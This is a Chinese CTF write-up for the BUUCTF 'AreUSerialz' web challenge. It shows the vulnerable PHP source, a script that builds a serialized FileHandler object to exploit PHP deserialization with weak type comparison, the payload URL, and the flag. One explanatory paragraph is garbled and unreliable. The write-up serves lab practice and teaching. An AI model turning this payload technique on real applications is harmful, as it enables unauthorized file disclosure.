BUUCTF WEB [网鼎杯 2020 青龙组]AreUSerialz

BUUCTF WEB [网鼎杯 2020 青龙组]AreUSerialz


  • 访问环境,得到源码

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }
    
  • 分析源代码可知这是一个反序列化漏洞,构造脚本

    <?php
    
    class FileHandler {
    
        public $op =2;
        public $filename = "flag.php";
        public $content;
    
    }
    
    $str = new FileHandler();
    echo serialize($str);
    
    // O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
    

    这里解释一下, o p 在 ‘ p r o c e s s ‘ 函 数 中 使 用 了 弱 类 型 比 较 , 可 以 将 其 赋 值 为 2 , 与 " 2 " 等 价 , 从 而 绕 过 ‘ i s v a l i d ‘ 函 数 的 过 滤 。 同 时 , 若 是 op在`process`函数中使用了弱类型比较,可以将其赋值为2,与"2"等价,从而绕过`is_valid`函数的过滤。同时,若是 opprocess使2"2"isvalidop等属性为protected,则其序列化后一定会出现%00,这里我们需要利用PHP7.1+对属性类型不敏感的特性,将属性改为public即可绕过is_valid函数的过滤。

  • 构造payload

    /?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
    

    查看网页源代码,得到flag

    flag{a851c5cd-be0a-4522-ba5a-38a206180262}
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值